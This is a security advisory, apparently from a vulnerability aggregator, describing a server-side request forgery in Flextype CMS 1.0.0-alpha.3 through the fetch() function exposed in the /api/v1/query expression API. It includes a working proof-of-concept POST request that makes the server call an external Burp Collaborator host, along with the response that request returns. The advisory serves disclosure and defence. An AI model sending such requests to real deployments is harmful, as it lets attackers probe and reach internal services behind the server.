Flextype CMS 1.0.0-alpha.3 Server-Side Request Forgery

🗓️ 04 Sep 2026 00:00:00Reported by Ron EType
Non-blind SSRF in Flextype CMS 1.0.0-alpha.3 via expression-processing fetch() in Query API.
Description
    
    Flextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)
    vulnerability in the expression-processing functionality exposed through
    the /api/v1/query endpoint. An authenticated remote attacker can supply an
    arbitrary URL to the exposed fetch() function, causing the Flextype server
    to initiate an outbound HTTP request to an attacker-controlled destination.
    
    The application does not sufficiently restrict the destination supplied to
    fetch(). Testing confirmed that an attacker-controlled expression submitted
    through the Query API caused the Flextype server to connect to an external
    Burp Collaborator endpoint.
    
    The HTTP response received by the Flextype server, including its status
    code, response headers, and response body, was subsequently returned to the
    attacker through the API response. The vulnerability therefore provides a
    non-blind SSRF primitive and allows an attacker to interact with network
    resources from the security context and network position of the Flextype
    server.
    Impact
    
    Successful exploitation allows an authenticated remote attacker to cause
    the Flextype server to initiate arbitrary server-side HTTP requests.
    
    Because the response to the server-side request is returned through the
    Query API, an attacker may potentially use the vulnerability to enumerate
    and interact with HTTP services accessible from the Flextype host,
    including services that are not directly accessible from the attacker's
    network location.
    
    Depending on the deployment environment and network configuration,
    potential targets may include internal web applications, administrative
    interfaces, loopback services, private network resources, and other
    HTTP-accessible infrastructure reachable by the Flextype server.
    
    The demonstrated vulnerability is non-blind because response data from the
    requested destination is returned to the attacker.
    DetailsServer-Side Request Forgery via fetch()
    
    The /api/v1/query endpoint accepts expressions that are evaluated by the
    Flextype expression-processing environment. The environment exposes a
    fetch() function capable of initiating HTTP requests.
    
    An authenticated attacker can provide an attacker-controlled URL to this
    function.
    
    The following request instructs the Flextype server to request an external
    Burp Collaborator endpoint:
    
    POST /api/v1/query HTTP/1.1
    Host: 127.0.0.1:18080
    Content-Type: application/json
    
    {"token":"lab-token","access_token":"password","query":{"ssrf":"fetch('http://042--snip--.oastify.com')"}}
    
    The server responds with the result of the outbound request:
    
    HTTP/1.1 200 OK
    Host: 127.0.0.1:18080
    Date: Mon, 31 Aug 2026 01:49:16 GMT
    Connection: close
    X-Powered-By: PHP/8.1.34
    Set-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    Content-Type: application/json;charset=UTF-8
    Content-Length: 269
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,
    Origin, Authorization
    Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
    Access-Control-Allow-Expose:
    Access-Control-Allow-Credentials: false
    
    {"ssrf":{"reasonPhrase":"OK","statusCode":200,"headers":{"Server":["Burp
    Collaborator https://burpcollaborator.net/"],"X-Collaborator-Version":["4"],"Content-Type":["text/html"],"Content-Length":["55"]},"body":"<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>"}}
    
    The returned data identifies the destination as a Burp Collaborator server:
    
    Server: Burp Collaborator https://burpcollaborator.net/
    X-Collaborator-Version: 4
    
    Additionally, the destination's response body is returned through Flextype:
    
    <html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>
    
    This demonstrates that the request originates from the Flextype server and
    that response data is made available to the authenticated attacker.
    
    Ron Edgerson
    Vulnerability Researcher & Exploit Developer
    
    CVE Research | Binary Exploitation | Application & Systems Security
    Responsible Disclosure • Proof-of-Concept Development
    
    🌐 https://github.com/ob1sec
    🔗 https://www.linkedin.com/in/ronedgerson1
    <https://linkedin.com/in/yourhandle>
04 Sep 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9